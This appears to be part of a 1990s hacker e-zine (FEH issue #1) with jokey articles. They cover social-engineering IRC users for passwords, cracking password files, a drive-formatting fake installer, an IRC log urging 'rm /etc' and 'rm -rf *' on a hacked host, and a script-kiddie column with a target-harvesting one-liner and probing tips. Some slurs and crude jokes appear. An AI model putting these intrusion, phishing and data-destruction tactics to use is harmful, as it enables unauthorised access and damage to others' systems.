frHppvXbTXHB3jm4jHL9kCueo1IJGXfOTC4lyI/rGBr731NdwFYlsdeWh5Ampvj0
|
|
YKchVh5mp7glTQYS/rtARupXlb/H2X+wY5JgsJK1dFQJ3QfyA2bQA34kJ66RAAUR
|
|
tB9Nb3JwaGV1cyBLTCA8bW9ycGhAaXhjLml4Yy5uZXQ+
|
|
=SrJR
|
|
-----END PGP PUBLIC KEY BLOCK-----
|
|
|
|
|
|
|
|
// 9. How to amuse yourself by Rush2
|
|
[ed note: this is what people that are not FEH might try]
|
|
|
|
1. The Michael scam. One day a few days ago I got very very bored. I said
|
|
what the hell. I bet I can get a lamer to give me his/her password. I
|
|
thought of the most common name, michael, and changed my irc nick to .. DUH
|
|
Michael.. within 10 minutes someone had mistaken me for her best friend
|
|
michael.. she thanked me for somethign about hooking her up with alliance
|
|
not the service, some guy. I bullshitted for 10 minutes, then really panick
|
|
y like "Oh crap I just screwed up my account.. majorly would you gime your
|
|
login and password pleaseeeee". Wellshe was that stupid and she gave it to
|
|
me. I really wanted to know if anyone else was that stupid. I tried a lot
|
|
of common names for the next 2 hours, john, mike, larry etc..etc.. I
|
|
succeeded wiht 99% of my attempts, I got 19, failed once. SO do something
|
|
like this if you are REALLY bored.
|
|
[ed note: a bottle of scotch is far more effective than this]
|
|
|
|
2. Trade passwd files.. hehe... when your bored change yer name on irc,
|
|
go into #Hack see if you dont get kicked off and ask for passwd files..
|
|
[ed note: if you don't get kicked off, hurt everyone that was opped]
|
|
if you are really bored this can be fun and you can get some new systems
|
|
to get in.. now unless your someone that is cracking them just to get as
|
|
many accounts as you can (I feel hypocritical currently I have 1400 valid
|
|
accounts on this local provider, on my computer upstairs (in just one day
|
|
YES people in my area have easy passwds.. only a 1mb file (AND just with
|
|
login name I got 300 yesterday.. haha I) And I am hearing a lot of beeps
|
|
(root was the first cracked account:).. this is something to do if you
|
|
feel bored and lame...
|
|
[ed note: mail the cracked password file to cert@cert.org and you win a prize]
|
|
|
|
3. Write really nifty little utils in quick basic (if your still stuck
|
|
on a dos box)... nothing is niftier than writing a shitty program in
|
|
qbasic that uses a captured installation display screen from a game
|
|
or something (or modify it to say mortal combat 3 or soemthing, the little
|
|
warez kids cum from this) and really make it format their drive... yes this
|
|
is lame but you KNOW we all get this bored at one time or another in our
|
|
lives.
|
|
[ed note: Super Street Fighter is more Fuxin' Eleet]
|
|
|
|
4. Use Irc. Yes this is the lamest of the lame. #hack. Where ignorance is
|
|
shown and knowledge forgotten. If you want immaturity, brattiness, kids
|
|
playing with their krad bots or scripts, or your typical op wars, go to #hack,
|
|
#phreak, #2600, or my <coughcoughnotcoughcoug> favorite, #ansi. Yes #ansi
|
|
people with any intelligence know it is american national standards institute,
|
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dorky little kids that have no life (we have no lives either but we arent
|
|
little kids ... we are middle kids.. ?) [ed note: if anyone can figure out
|
|
what the hell he is talking about, email me] think it is an art form and a way
|
|
for them to be cool... their idea of coolness is being worshipped by pervert
|
|
ed, immature, talentless, dweebs with pcs.. most of these peopel are aol
|
|
and prodigy rejects... ...anyways... this is something to do when you are
|
|
SUICIDALLY bored.
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|
[ed note: actually suicide might be a better solution]
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|
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5. Get on one off those cracked accounts (see number 1) and type something
|
|
like archie -s a > hackedpws.k00l or archie -s . > HEY.YOU.STUPID.SYSADMIN.
|
|
BLOW.ME (that is sure to get his attention). If you are really bored, you
|
|
can edit their .login to cat the file when they login (this being archying <
|
|
sp> a or . will probably give you a few thousand file names and if the owner
|
|
of the account can even login (they havent checked user quotas yet obviously)
|
|
so that they must wait an hour for the thing to finish (but I'm not sure it
|
|
never has for me because i just telnet), it may just flood their com ports
|
|
(or if you have root, do archie -s a, archie -s ., archie -s (whatever you
|
|
want to to get a LOT of entries) > motd or >.login and make it so EVERY
|
|
ONE sees this when they login... unless they are on like a 2400...
|
|
This is something to do when your bored...
|
|
[ed note: do I notice a trend forming?]
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|
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|
6. Go onto Irc, and into #hack and let ReDragon convince you to write an
|
|
article for some magazine (JUST ANY ARTICLE) .. and spend the next (however
|
|
much time I spend on th) writing an article filled with strange and useless
|
|
dribble because you are too lazy to do a real article.. *WARNING* *WARNING*
|
|
DO THIS IN ONLY EXTREME EMERGENCIES *WARNING* *WARNING*
|
|
[ed note: 6. go onto irc, randomly msg someone you don't know to see just
|
|
how lame an article someone who is not FEH can write.]
|
|
|
|
7. Ftp to rs0.internic.net and retr all of the domain name lists. Spend
|
|
the next four or five hours reading the com.zon file and jack off to the
|
|
point of orgasm to it .. NO I AM NOT PATHETIC, YOU DO IT TO YOU JUST REFUSE
|
|
TO ADMIT TO IT. Do this all the time ... .this doesnt mean your bored, you
|
|
are just creative.
|
|
[ed note: you are just an idiot]
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|
|
|
8. Call up the local noq and say things like
|
|
[ed note: I wish I knew what a noq was]
|
|
"Do you Deliver?"
|
|
"Yeah, I'll have a pair on rye, hold the mayo"
|
|
"Umm yes is this the roadkill cafe? I just hit some guy with a Bell
|
|
(or whatever your local telco is) Helmet and I think he would be tasty
|
|
charred"
|
|
"Hey baby what are you wearing?"
|
|
"Are you wet?"
|
|
"I've got a big phat pole ready for ya.. standing straight up just
|
|
for you"
|
|
Tape record them... turn them into .wavs or .aus and put them on your
|
|
home page... this is something to do when your bored or when you are
|
|
PATHETICALLY bored (YES I mean if your on a teleconference).
|
|
|
|
9. Hack your school's net and make i automatically go to modem doom everytime
|
|
someone clicks the left mouse button (hey its fun and it was only ONE of the
|
|
reasons I had a remark "DANGER TO COMPUTERS" in my entry in my school's
|
|
computer so it is pretty kosher
|
|
|
|
10. SPELL CHECK this fucking article because I'M NOT GOING TO.
|
|
|
|
11. If you have www access go to some of the following sites:
|
|
http://www.oceania.org | a brilliant scientific endeavor to create
|
|
a new, truely democratic society on a synthetically made island.
|
|
http://www.smallpenis.org | for those people afraid of being less of
|
|
man.. they have support groups AND penis pumps!!!!
|
|
http://www.wookie.net/l0ra | A ... home page (no comments .. hehe)
|
|
http://www.something.org | A really cool site but I cant remember the
|
|
url so i wont put it here.. im sure you will find it
|
|
|
|
[ed note: 12 was too lame for even FEH to print]
|
|
|
|
13. Watch tv. Scary huh?
|
|
14. Irc and go to #netsex as ILLFUCKU. notice the channel that you want some
|
|
one for phone sex. see if you get kicked or invitations. heheh.
|
|
15. Read this file (you must be bored d00d).
|
|
[ed note: if you search for //, you will find the start of the next article]
|
|
16. See how many of these things I type.
|
|
[ed note: hint, then answer is 18]
|
|
17. Add another to your count.(see previous item)
|
|
18. EOF
|
|
YEAH IT WAS LAME.. YEAH IT SUCKED.. YEAH IM TYPING IN ALL CAPS.. SO
|
|
WHAT?.. I WAS BORED... ARE YOU SATISFIED rEdRAGON???? ( :) )
|
|
[ed note: pretty much]
|
|
|
|
|
|
|
|
// 10. The Infamous Tack Story by Hotrod
|
|
|
|
The story you are about to hear, it has been determined, has been spread
|
|
by word of mouth to at least 5 states, and parts of Canada. Whereever I
|
|
go, people who I have never seen before ask me about the tack story. I
|
|
have no idea why this is the case - the story might have been funny once,
|
|
but I'm really rather sick of it. My friends (and apparantly these
|
|
people I don't know, who ask me about it) think this story is the
|
|
funniest thing they've ever heard. I think they are nuts.
|
|
|
|
The following story is 100% true.
|
|
Dramatis Personae:
|
|
Myself (Hotrod)
|
|
Chris, A friend
|
|
Zafir, An acquaintance
|
|
[ed note: is he the pan flute dude?]
|
|
|
|
The Setting:
|
|
Junior High School, Massachusetts.
|
|
Lunchtime, 8th grade
|
|
|
|
Ok, here goes. It was a normal lunchtime, really. I had gotten in line
|
|
to get the "Hot Lunch", which is the generic, "nutritionally balanced"
|
|
meal. On this fateful day, the hot lunch was manicotti with meat sauce.
|
|
A kid I knew, and had no reason to distrust, came up to me while I was in
|
|
line and offered to sell me his hot lunch, without the milk. (Milk came
|
|
with the hot lunch.) Of course, I'm thinking to myself "This kid must be
|
|
stupid. He wants to sell me his hot lunch, which costs $1.30, for 50
|
|
cents, while keeping his milk, which he could have bought for 35 cents by
|
|
itself. [ed note: a savings of -45 cents] I did know that this kid WAS
|
|
stupid, however. So I bought the lunch and went to sit where I always sat,
|
|
next to my friend Chris. [ed note: not erikb]
|
|
For a few minutes, everything was fine. I was eating and enjoying (as
|
|
much as one can enjoy a school lunch, anyhow) my manicotti. Keep in
|
|
mind, that manicotti is soft, it's something like lasagna. [ed note:
|
|
i hope nobody from Italy is reading this] You don't really chew it a whole
|
|
lot, you just squish it around in your mouth and swallow. Then it happened.
|
|
I put the manicotti into my mouth. [ed note: that's not the climax of the
|
|
story, he in fact put many pieces of manicotti in his mouth that day] I
|
|
squished. I swallowed. I grunted. I yelled. Something Sharp!
|
|
Words that will live in infamy in the minds of my friends.
|
|
[ed note: the words 'huuhuhuhhuhu' also live in infamy to his friends]
|
|
The dialogue went like this:
|
|
Me: [In a very hoarse voice] "Argh@!# Something Sharp! Something sharp
|
|
in my throat!"
|
|
Chris: "What?" [ed note: still not goggans]
|
|
Me: "Argh it kills!"
|
|
Chris: "What is it?" [ed note: this time it is erikb saying it]
|
|
Me: [Grabbing Chris' chocolate milk and taking a swig] "I can feel it
|
|
like grinding down my throat.. You know when you get like the sharp
|
|
corner of a Dorito or something? God it kills! It feels like a staple
|
|
or a tack or something!"
|
|
Chris: [Laughing a bit] "A tack? Zafir probably put a tack in it!"
|
|
[ed note: being a minor, Zafir was out of jail on his 18th birthday]
|
|
|
|
Anyhow, thats about it. It hurt going down. It never hurt again.
|
|
To the best of my knowledge, I have not shit out the 'tack'. No proof has
|
|
ever been found that there was a tack in my manicotti, [ed note: manicotti
|
|
in general should not hurt to swallow] although Chris swears that he talked to
|
|
Zafir, and Zafir admitted to it. I think Zafir has since been deported.
|
|
I hope so, anyhow. Should I ever shit the tack out, it will be so noted in
|
|
a future issue of FEH. [ed note: I have a pencil end in my right shoulder]
|
|
|
|
|
|
|
|
// 11. The Birth of FEH by SnoCrash
|
|
|
|
So ReDragon /msg's me today. He goes "write the history of FEH befor
|
|
midnight tonight" (not in those exact words, and in all caps n stuph,
|
|
but you get the point).
|
|
|
|
fEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEhFeHfEh
|
|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|
ThE HiStOrY Of FeH -- PaRt 1 <<ThE BeGiNnInG>>
|
|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|
(FuXiN' ElEeT HaXoRs)
|
|
A BeDtImE TaLe By Da MaStUr Of DiSaStUr:
|
|
SnOcRaSh
|
|
Okay, enough with this AlTeRnAtInG CaPs crap. It makes my head hurt.
|
|
[ed note: my feelings exactly]
|
|
(DISCLAIMER: FOR ALL YOU KNOW, NONE OF THIS COULD BE TRUE. I AM TRYING TO
|
|
REMEMBER WHAT HAPPENED AND MY MEMORY SUCKS AND I EXAGGERATE SO DEAL WITH IT)
|
|
Well, it all started for me about a year ago. I was bored shitless as usual
|
|
on a Sunday morning, and was checking out <name witheld>.edu. I had an
|
|
IRC window open as well, as I almost always do. Here's the log from that
|
|
fateful day (re-formatted a bit to make it more readable):
|
|
[ed note: whenever monumental history takes place on #hack, log it]
|
|
|
|
<SnoCrash> i found a system that still has the ftp -n bug!!!!!
|
|
<ReDragon> sunday afternoon is warez ftping days
|
|
[ed note: being as this was a sunday, ReD was probably still a bit drunk]
|
|
<SnoCrash> holy shit!!!
|
|
<SnoCrash> i feel sorry for the sysop
|
|
<SnoCrash> i'm gunna mail him and tell him
|
|
<SnoCrash> this is sad
|
|
<noxit> last root i haqued
|
|
<noxit> i left mail describing how to do it and how to fix it
|
|
<noxit> sad
|
|
<ReDragon> haha
|
|
<Okinawa> noxit; not me, I just rm /etc and let them figure it out
|
|
<SnoCrash> rm -rf *
|
|
<SnoCrash> ha
|
|
<SnoCrash> lame
|
|
<SnoCrash> well...
|
|
<SnoCrash> what should I do
|
|
<Okinawa> no, not /* but just /etc
|
|
<SnoCrash> im gunna change the banner explaining what to do
|
|
<Okinawa> Were all the configs are ;)
|
|
<ReDragon> if you dont rm the site, they will never learn how dangerous
|
|
hackers can be and the importance of securing their site
|
|
<SnoCrash> Oki: i know
|
|
<SnoCrash> and rm every user
|
|
<SnoCrash> there's only 10 users
|
|
<Okinawa> put in the l0ck motd
|
|
<oof> red: gimme warez
|
|
[ed note: note oof's critical role in FEH's inception]
|
|
<SnoCrash> they all have empty home dirs anyway
|
|
<Okinawa> put in a ILF motd
|
|
<SnoCrash> cept for the standard shell shit
|
|
<ReDragon> oof: whatcha want
|
|
<ReDragon> put in a FEH motd <-- the first public mention of FEH
|
|
<noxit> ln -s /vmunix /etc/motd
|
|
<rS-449> noxit: haha
|
|
<loq> oki: if you rm /etc, where are ya gonna put the ILF motd?
|
|
<Okinawa> is there a FEH motd?
|
|
<grayarea> donut put in an ilf motd :)
|
|
<oof> red: i dunno
|
|
<grayarea> use feh :)
|
|
<SnoCrash> yeah
|
|
<ReDragon> i will release an official FEH motd later today
|
|
<SnoCrash> feh
|
|
<Okinawa> loq: true
|
|
<SnoCrash> I'll make up a temp one now
|
|
<Okinawa> grayarea: why not?
|
|
<SnoCrash> **Hacked by a FEHWB**
|
|
<SnoCrash> ha
|
|
<grayarea> cuz they r in my new issue and if anything is done in their
|
|
name i will be visited
|
|
<loq> gray: dont you like being visited?
|
|
<loq> :)
|
|
<noxit> "visited"
|
|
<noxit> aliens of phedz?
|
|
<grayarea> and #hack has caused me more than enuf contact with feds for
|
|
the year already :)
|
|
<noxit> s/of/or
|
|
<grayarea> loq: i hear they come at dawn. ewwww
|
|
<grayarea> loq: i prefer evening appointments
|
|
<loq> heh
|
|
<SnoCrash> if I put up a FEH motd, can I be a FEH?
|
|
<loq> mine come at 11pm
|
|
<ReDragon> Sco: you already are in FEH you moron
|
|
<SnoCrash> oh yea
|
|
[ed note: i actually said Sco, not sno... but he never realized it]
|
|
|
|
So there it was. I was in FEH.
|
|
I made a temporary FEH /etc/motd, call it FEH motd version .0000001b.
|
|
Here is how it looked:
|
|
---------HI!!! WELCOME TO <name witheld>, NOW OWNED BY FEH----------
|
|
[TODAY'S NEWS]
|
|
Your system has been hacked by a member of FEH... Fuxin Eleet Haxors.
|
|
I am not particularly proud of this hack because it exploited an extremely
|
|
old bug that was patched many years ago. I have left a file in the root
|
|
directory called "how.to.fix.the.bugs.you.have" please read it and follow the
|
|
directions in it on how to fix the bugs you have. I am very sure that your
|
|
system has many bugs, judging from this and the version of sendmail you are
|
|
running. Thank you for your time...
|
|
--- Anonymous member of FEH who just fuxored up your system real bad
|
|
Not exactly beautiful, but it worked for the site it was placed on.
|
|
ReD then created the FEH motd versions 1.0 and 1.1, which is located in this
|
|
issue within the wopr hack.
|
|
[ed note: oof never got his warez, if you have any, please send him some]
|
|
|
|
|
|
|
|
// 12. An Interview with Dale Drew by ReDragon
|
|
[ed note: good to my word, this is completely unedited for content, only
|
|
for formatting.]
|
|
|
|
|
|
ReD: will you do an interview for FEH issue #1?
|
|
d_d: I dont do interviews, sorry
|
|
ReD: just this once dale. only a few questions
|
|
ReD: its not like you've NEVER done an interview
|
|
ReD: dont even think of it as an interview, think of it as just
|
|
answering a few questions where the answers get published
|
|
d_d: haha.. and the difference is?
|
|
ReD: well, you dont do interviews. but maybe you do published question
|
|
and answer sessions.
|
|
ReD: so why dont you do interviews?
|
|
d_d: Youve got better things to do than interview me
|
|
ReD: when you let me interview you, you keep me out of trouble :)
|
|
ReD: so why dont you do interviews?
|
|
ReD: well
|
|
d_d: too many misquotes
|
|
ReD: pleez
|
|
ReD: i am not going to misquote you
|
|
ReD: so will you answer just a few questions for me
|
|
d_d: depends on the questions
|
|
ReD: are there any hackers that you particularly like or dislike?
|
|
d_d: No.
|
|
ReD: Do you think the people you are trying to bust care about learning
|
|
about the phone system or are they just trying to make free phone
|
|
calls?
|
|
d_d: There are to many LEGAL ways to learn about phone systems these days
|
|
to put up with fraud.
|
|
ReD: So do you think 10 or 20 years ago some phreaking may have been
|
|
justified in order to learn?
|
|
d_d: I never think that committing fraud is a justifiable way to learn
|
|
anything.
|
|
ReD: Does it cost your company anything when a person makes a free phone call?
|
|
d_d: Making use of a service illegally that would otherwise be billed
|
|
for certainly costs the company money
|
|
ReD: I understand there is a loss of income from the consumer since they are
|
|
not paying, but is there any expense to the phone company for that call
|
|
and if so can you estimate the cost?
|
|
d_d: I am not in phone fraud, so I wouldnt be able to estimate
|
|
ReD: So what is your job description?
|
|
d_d: Data Security
|
|
ReD: Can you expand on what that encompasses?
|
|
d_d: Later.. Ill be back
|
|
ReD: do you know when?
|
|
<d_d drops connection>
|
|
|
|
|
|
|
|
// 13. "Hacking Made Easy Using Scripts" by Seven Eleven
|
|
|
|
HacK1nG Mad3 EZ Uz1Ng Skr1PtZ Part I by Seven Eleven (711@sec.de)
|
|
=======================================
|
|
|
|
Welcome to our new column, dear reader.
|
|
|
|
In the software industry, everything is getting easier -
|
|
easier to use, easier to handle. The keywords are "Plug and Play",
|
|
the new WinDos 95 and "Don't think but drive (on the information
|
|
superhighway)".
|
|
|
|
Now everyone can get on the Internet, your grandfather, your 4 year old sister
|
|
and even a coffee machine in Cambridge. There is no need to be smart,
|
|
no need to know anything about computers, and no need to have a brain.
|
|
|
|
With more and more people on the net, more and more want to play
|
|
around and learn about other systems by getting into them, formerly
|
|
called "Hacking".
|
|
|
|
To make those tries possible, we are bringing you easy to use and always
|
|
working step by step instructions and scripts!
|
|
|
|
There are 3 major steps to succeed, which are similar to hitting
|
|
on a girl:
|
|
|
|
1) Get a list of all visible targets
|
|
2) Check if there is an easy way of scoring
|
|
3) Try gettin' into!
|
|
|
|
Today we will take a look at 1) and 2). 3) will follow in the next issue.
|
|
|
|
Since all most newsbies know about is IRC, we will try to get a list
|
|
of visible targets through IRC!
|
|
|
|
Here is our great script:
|
|
|
|
------------------ cut here --------------------------- cut here --------
|
|
|
|
# IRC Host Leecher 1.0 by Seven Eleven (711@sec.de)
|
|
#
|
|
# This little one liner gets you all hosts that are currently on IRC
|
|
# and sorts the output nicely.
|
|
#
|
|
# This is especially nice if you plan to use our Host Checker.
|
|
#
|
|
#
|
|
# All you have to do is this:
|
|
#
|
|
# Start IRC
|
|
# /SET LOGFILE rawhosts
|
|
# /SET LOG ON
|
|
# /WHO **
|
|
# /SET LOG OFF
|
|
# /QUIT
|
|
# $ <Name_of_this_Script> rawhosts > outputfile
|
|
#
|
|
# Have Fun! :-)
|
|
#
|
|
#
|
|
#!/bin/sh
|
|
cat $1 | awk '{print $4}' | awk -F@ '{print $2}' | sort | uniq
|
|
|
|
|
|
------------ cut here --------------------- cut here --------------------
|
|
|
|
|
|
Also try to use an old or modified server that won't kill you when you
|
|
list too many names! It used to be easier some months ago, but you should
|
|
still be lucky! After all, it's good if not too many Lamers get as far
|
|
as you, isn't it? :-)
|
|
|
|
If everything went fine, you have a wonderfully nice list of hostnames.
|
|
|
|
If you want to do it the elite way, try writing your own elite script,
|
|
executing a command with each of the hostnames. Possibilities include:
|
|
|
|
- Check with rpcinfo -p which services are available.
|
|
Some might be vulnerable!
|
|
|
|
- One vulnerable daemon is mountd. Figure out yourself how to probe it!
|
|
(First Exercise!)
|
|
|
|
- Use ypx or ypsnarf to test their ypserver's security. If it's open,
|
|
either get in or --> social engineer the admin by telling him bugs (lame!)
|
|
|
|
- Check with the 31337 SATAN!@# (available at a WaR3z near you!)
|
|
|
|
- Try some sendmail bugs.
|
|
|
|
|
|
If the above ways sound to hard for you, do it the easy way.
|
|
Social engineer the administrators!
|
|
|
|
- Sending mail to root@hostname requesting for an account
|
|
(Be prepared for many flames and your old account to be shut down)
|
|
|
|
|
|
If you should surprisingly be successful, drop me a mail and tell
|
|
me about your story! If not, stay tuned for the next issue of...
|
|
HacK1nG Mad3 EZ Uz1Ng Skr1PtZ!@#
|
|
|
|
|
|
|
|
// 14. How to Hack A Toaster Oven by bl0ke
|
|
|
|
|
|
HacKZoRiNG Ah ToaSTeR OOOHHVeNN)#(*%)(*%
|
|
========================================
|
|
Author:
|
|
bl0ke:#$%HS@#H:dat niggah bl0ke:/home/bl0ke:/bin/tcsh
|
|
(k)opywr0ngeded 1995
|
|
|
|
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*******The Author of this text takes no responsibility for the**
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*******actions that are performed on toaster ovens to try and***
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*******obtain an access which the superuser does not want a ****
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*******regular (l)user to have access to.***********************
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*******The author also notes that this text is allowed only*****
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*******to be used as a .motd after the site has been hax0red.***
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^^^--------NoTiCE MuH DOpE K-RAD KiLLa AK-AkII SKeeiLLZ()*#$
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/*
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This text covers the basics of hacking the Proctor & Silex
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MoDEL:0225 SERiES:b4588 TyPe:02
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This specific toaster handels 120 Volts A.C. *ONLY* 1400 WATTS
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*/
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CoNNECTiNG:
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When CoNNECTiNG TeW SuCH A ToaSTER On ThU iNeT YeW WiLL b ProMPtED
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4 aH LoGiN AnD PaSSwErD. ex:(This is a capture of a login.)
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| PROCTOR & SILEX |
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| M:0225 |
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LaHGiN:bageL-n-KreAM/CheZE
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PaSSWeRD:*************************************
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LaHGiNN GRaNTiD
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P&S VeRSiON 666.9.MuRRY_LenDER(*REVISION*)
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login on tty[tOaST]
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last login from BAGeL_BaKERY.COM on tty[ChEZe] at 6:43a.m.
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:/etc/motd not found
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1: OFF
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2: ToAsT StART
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3: BRoWN
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4: BuRNT
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5: LiGHT
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6: UNiX TyPE SheLL ENViRONMEnT
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If YeW GhET THiS YEW ArE COOL)(#*$ Ok NoW CHEwZe No. SiX. AND RuN NE
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Of ThU 8LGMz. They WeRK. DeW NoT WeRRIE BoUT WhUT THU 8lgM SaYZ iT
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WiLL STiLL WeRK oN ThIS SYSTEM. AlLLL THu 8LGMz DeW()#*%&( ThE OtHER
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CoMMANDs R NoT ImPOrTaNT.
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SoME NeaT-O ThINGS. YeW CaN TaP the /dev/ToaST-N-CheEZe. YeW CaN FiND
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A FeW PRoGRAMs ThAT ArE GeWD FeR ThIS SuCH SYTeMM.
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ftp:ftp.elite.warez.feh.OrG
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/pub/hax0ring_WaReZ/ToAsteR_HaxoRiNG_WaREZ
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P&S_ToAsTeR_ReWTKiT.TaR.GZ -RooTKiT FeR ThiS TYPE o ToaSTER
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PSNiFF.GZ -/dev/ToasT-N-CheEZe SniFFAH
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SoME DeFUlTZ:
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Login:Password
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bageL-n-KreAM/CheZE:YuMMY
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PoPALeNDER:STiNKY_Joo
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POaCHeD_EGZ:HooKGNOZe
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root:root
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lpd:lpd
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guest:hymienotyew
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+======================================================================+
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ThIS CoNCLuDES ThU DoPEST ARTiCLE On THu FACe O ThU PlaNET)(#*%)(*%
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I WooD LiKE TeW GREaT:
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Murray_L of the BagelBoyz o HymieTowN.
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BuRnT-T of The BuRNT ToasT PoSSE.
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AnD ReDRAGoN N ShIT.
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PeSE OuT
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And on that uplifting note, the first issue of FEH is complete....
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Thanks for reading.
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- FEH
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